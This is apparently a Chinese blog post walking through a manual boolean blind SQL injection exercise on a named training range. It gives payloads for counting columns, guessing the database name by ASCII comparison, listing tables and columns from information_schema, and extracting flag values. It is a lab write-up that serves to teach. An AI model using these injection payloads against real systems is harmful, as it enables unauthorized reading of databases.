渗透测试(一)SQL盲注

SQL盲注一

测试靶场(掌控安全学院SQL注入靶场):https://hack.zkaq.cn/battle/target?id=1bd1990363f28cb9

  1. 找出原链接查询数据字段数

order by 3 时无数据了,则可判断字段数为2,可做接下来操作

  1. 试着找到当前数据库名长度(2.3步其实不用做)

and length(database())>11 尝试判断库名长度,测试为12

  1. 尝试将库名找出

and ascii(substr(database(),1,1))>=107 通过每个字母的ASCII码判断,以此查找12位字符,得到库名为:kanwolongxia

  1. 查找该库中有几张表

and (select count(table_name) from information_schema.tables where table_schema='kanwolongxia')=3

  1. 用第三步方法去尝试查找表名

and length((select table_name from information_schema.tables where table_schema='kanwolongxia' limit 0,1))>=6

找出第一个表名长度为 6 ,

and ascii(substr((select table_name from information_schema.tables where table_schema='kanwolongxia' limit 0,1),1,1))>=108

依次判断出第一个表名的字符:loflag

  1. 通过上诉方法找到所有表名

loflag、news、user

PS :手动这样盲注要累死,所以还是使用工具吧,比如BurpSuite.

  1. 继续找loflag表中的字段

(1)找有多少个字段

and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='loflag')>=2

可判断为2个字段

(2)然后继续找出每个字段名各有多少个字符,同第5步(分别有2、6个字符,猜测第一个字段为id)

(3)找出字段名为:Id、flaglo

  1. 读取flaglo字段中的有用数据:

(1)第一个数据:8个字符

and length((select flaglo from loflag limit 0,1))>=8

查找为:zKaQ-QQQ

(2)第二个数据:7个字符

查找为:zKaQ-RD

(3)以此类推,找到正确flag就好了

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值